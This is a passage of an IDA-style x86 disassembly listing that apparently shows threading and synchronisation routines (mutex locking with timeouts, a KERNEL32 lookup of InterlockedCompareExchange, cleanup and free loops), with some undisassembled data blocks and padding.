		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430C17:				; CODE XREF: sub_430B60+Aj
					; sub_430B60+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C50	proc near		; CODE XREF: sub_430B60+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430C6A
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27A0C8Bh
		test	eax, eax
		jnz	short loc_430C6A
		retn
; ---------------------------------------------------------------------------


loc_430C6A:				; CODE XREF: sub_430C50+6j
					; sub_430C50+17j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430C50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C90	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430E28
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E28
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430CC1
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430CC1
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CC1:				; CODE XREF: sub_430C90+1Dj
					; sub_430C90+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	near ptr 2790F4Ah
		nop
		test	eax, eax
		jnz	short loc_430CF2


loc_430CD0:				; CODE XREF: sub_430C90+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430E1E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CF2:				; CODE XREF: sub_430C90+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430D36
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0D48h, 8508C483h, 562774C0h, 0F2EAE890h
		dd 7E830237h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D36:				; CODE XREF: sub_430C90+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430D4A
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D4A:				; CODE XREF: sub_430C90+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430EA0
		add	esp, 8
		sub	eax, 0
		jz	loc_430E0A
		dec	eax
		jz	short loc_430DD4
		dec	eax
		jz	short loc_430D75
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D75:				; CODE XREF: sub_430C90+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430DA7
		nop
		call	near ptr 27B0000h
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430DA7:				; CODE XREF: sub_430C90+101j
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jl	short loc_430DC6
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430DC6
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_430DC6:				; CODE XREF: sub_430C90+11Fj
					; sub_430C90+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430DD4:				; CODE XREF: sub_430C90+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430DFA
		push	esi
		call	near ptr 27B0000h
		nop
		mov	ebp, 274Ch


loc_430DFA:				; CODE XREF: sub_430C90+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_430E21
		jmp	loc_430CD0
; ---------------------------------------------------------------------------


loc_430E0A:				; CODE XREF: sub_430C90+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430E1E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430E1E:				; CODE XREF: sub_430C90+4Dj
					; sub_430C90+187j
		mov	[esi+0Ch], eax


loc_430E21:				; CODE XREF: sub_430C90+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430E28:				; CODE XREF: sub_430C90+Aj
					; sub_430C90+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C90	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430EA0	proc near		; CODE XREF: sub_430C90+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430F3E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430ED2
		or	eax, 0FFFFFFFFh


loc_430EBC:				; CODE XREF: sub_430EA0+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	near ptr 27A0C8Bh
		nop
		test	eax, eax
		jnz	short loc_430F2C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430ED2:				; CODE XREF: sub_430EA0+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430EBC
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430F2C:				; CODE XREF: sub_430EA0+2Aj
		cmp	eax, 102h
		jnz	short loc_430F3E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: sub_430EA0+Bj
					; sub_430EA0+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430EA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F90	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_431030
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_431030
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_431025
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430FDA
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430FDA
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FDA:				; CODE XREF: sub_430F90+2Aj
					; sub_430F90+40j
		cmp	[esi+8], edi
		jnz	short loc_430FE8
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43102A


loc_430FE8:				; CODE XREF: sub_430F90+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jl	short loc_431018
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_431018
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_431018:				; CODE XREF: sub_430F90+6Ej
					; sub_430F90+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431025:				; CODE XREF: sub_430F90+1Ej
		mov	ebx, 16h


loc_43102A:				; CODE XREF: sub_430F90+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431030:				; CODE XREF: sub_430F90+Aj
					; sub_430F90+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431070	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_4310F5
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4310F5
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431092
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431092:				; CODE XREF: sub_431070+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_4310F0
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3AC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4310C3
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_4310BB
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_4310BB:				; CODE XREF: sub_431070+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4310C3:				; CODE XREF: sub_431070+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_4310EB
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4310EB
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4310EB:				; CODE XREF: sub_431070+57j
					; sub_431070+6Dj
		mov	edi, 10h


loc_4310F0:				; CODE XREF: sub_431070+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4310F5:				; CODE XREF: sub_431070+Aj
					; sub_431070+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431070	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431130:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431190:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43119C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43119C:				; CODE XREF: ___:00431196j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4311B0:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_4311C2
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311C2:				; CODE XREF: ___:004311B8j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_4311E5
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4311E5
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 25E89056h, 0E80243EEh, 0FFFD0B0Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_4311E5:				; CODE XREF: ___:004311C6j
					; ___:004311CDj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43121E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43121E:				; CODE XREF: ___:00431214j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_431286
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27A0C8Bh
		test	eax, eax
		jnz	short loc_431277
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_431266
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_431266:				; CODE XREF: ___:00431246j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431277:				; CODE XREF: ___:00431232j
		cmp	eax, 102h
		jz	short loc_43128C
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431286:				; CODE XREF: ___:00431224j
		call	near ptr 2870000h
		nop


loc_43128C:				; CODE XREF: ___:0043127Cj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4312E0:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_4312FB
		mov	eax, [esp+0]


loc_4312FB:				; CODE XREF: ___:004312F5j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431310	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 28107EEh
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E390, eax
		nop
		call	near ptr 2820000h
		test	eax, eax
		mov	dword_50E3AC, eax
		jnz	short loc_43135D
		mov	eax, dword_50E390
		mov	dword_50E3AC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 2790000h
		mov	dword_50E390, 0


loc_43135D:				; CODE XREF: sub_431310+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431310	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431390	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E394
		test	eax, eax
		jz	short loc_4313E0
		mov	eax, dword_50E398
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0F6E8501Ah,	8BFFFD03h
		dd 50E3980Dh, 4C48300h,	6A118Bh, 0F8B9E852h, 0E8900234h
		dd 0FFFD026Bh, 50E390A1h, 74C08500h, 21E85007h,	900235ECh
; ---------------------------------------------------------------------------


loc_4313E0:				; CODE XREF: sub_431390+7j
		mov	eax, 1
		retn
sub_431390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431410	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431410	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431430	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E394
		test	eax, eax
		jz	short loc_43146B
		mov	eax, dword_50E398
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 56E8501Ah, 8BFFFD03h
		dd 50E3980Dh, 4C48300h,	6A118Bh, 18E89052h
; ---------------------------------------------------------------------------
		clc
		xor	al, 2


loc_43146B:				; CODE XREF: sub_431430+7j
		mov	eax, 1
		retn
sub_431430	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314A0:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3A0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_4314DE


loc_4314BC:				; CODE XREF: ___:004314DCj
		test	esi, esi
		jnz	short loc_4314DE
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_4314BC


loc_4314DE:				; CODE XREF: ___:004314BAj
					; ___:004314BEj
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431520	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431539
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431539
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_431539
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431539:				; CODE XREF: sub_431520+6j
					; sub_431520+Cj ...
		mov	eax, 1
		retn
sub_431520	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431550	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E394
		test	eax, eax
		jz	short loc_43155F
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43155F:				; CODE XREF: sub_431550+7j
		push	0
		push	offset dword_50E398
		mov	dword_50E394, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_43158E
		push	eax
		push	offset dword_50E39C
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431593


loc_43158E:				; CODE XREF: sub_431550+2Aj
		call	sub_40163B


loc_431593:				; CODE XREF: sub_431550+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E8A0
		call	esi
		push	offset dword_50E900
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E8E0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E920
		call	esi
		mov	eax, dword_50E394
		pop	esi
		retn
sub_431550	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4315F0	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E394
		test	eax, eax
		jz	locret_4316A9
		mov	eax, dword_50E398
		test	eax, eax
		jz	short loc_431619
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E398, 0


loc_431619:				; CODE XREF: sub_4315F0+14j
		mov	eax, dword_50E39C
		test	eax, eax
		jz	short loc_431635
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E39C, 0


loc_431635:				; CODE XREF: sub_4315F0+30j
		push	esi
		push	offset dword_50E8A0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_445704
		cmp	eax, 1
		jz	short loc_431663
		push	edi
		mov	edi, dword_50FAC4


loc_431652:				; CODE XREF: sub_4315F0+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_431652
		pop	edi


loc_431663:				; CODE XREF: sub_4315F0+59j
		push	offset dword_50E8A0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_50F858
		push	offset dword_50E920
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E8E0
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E900
		call	esi
		push	offset dword_50E8A0
		call	esi
		mov	dword_50E394, 0
		pop	esi

locret_4316A9:				; CODE XREF: sub_4315F0+7j
		retn
sub_4315F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4316E0	proc near		; CODE XREF: sub_401B95j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_50E398
		push	esi
		push	eax
		call	sub_4020DB
sub_4316E0	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436AEC
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43173C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_431748
; ---------------------------------------------------------------------------


loc_43173C:				; CODE XREF: ___:00431729j
		dec	eax
		jz	short loc_431745
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_431748
; ---------------------------------------------------------------------------


loc_431745:				; CODE XREF: ___:0043173Dj
		mov	esi, [edi+14h]


loc_431748:				; CODE XREF: ___:0043173Aj
					; ___:00431743j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_431767
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_431767:				; CODE XREF: ___:0043174Cj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43183A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431818
		push	eax
		call	esi


loc_431818:				; CODE XREF: sub_4317C0+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_43183A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_43183A
		push	eax
		call	esi


loc_43183A:				; CODE XREF: sub_4317C0+11j
					; sub_4317C0+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431880	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_4318A1
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4318A1:				; CODE XREF: sub_431880+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_4318E2
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4318E2:				; CODE XREF: sub_431880+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431907
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431907:				; CODE XREF: sub_431880+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_431880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431950	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_431977
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_431977
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_431977
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_431977:				; CODE XREF: sub_431950+7j
					; sub_431950+Ej ...
		pop	esi
		retn
sub_431950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431990	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4319FD
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_4319FD
		push	edi


loc_4319A5:				; CODE XREF: sub_431990+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_4319F8
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_4319D3
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_4319D3
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_4319D3
		push	eax


loc_4319CE:				; CODE XREF: ___:00431A47j
		call	edi	; free
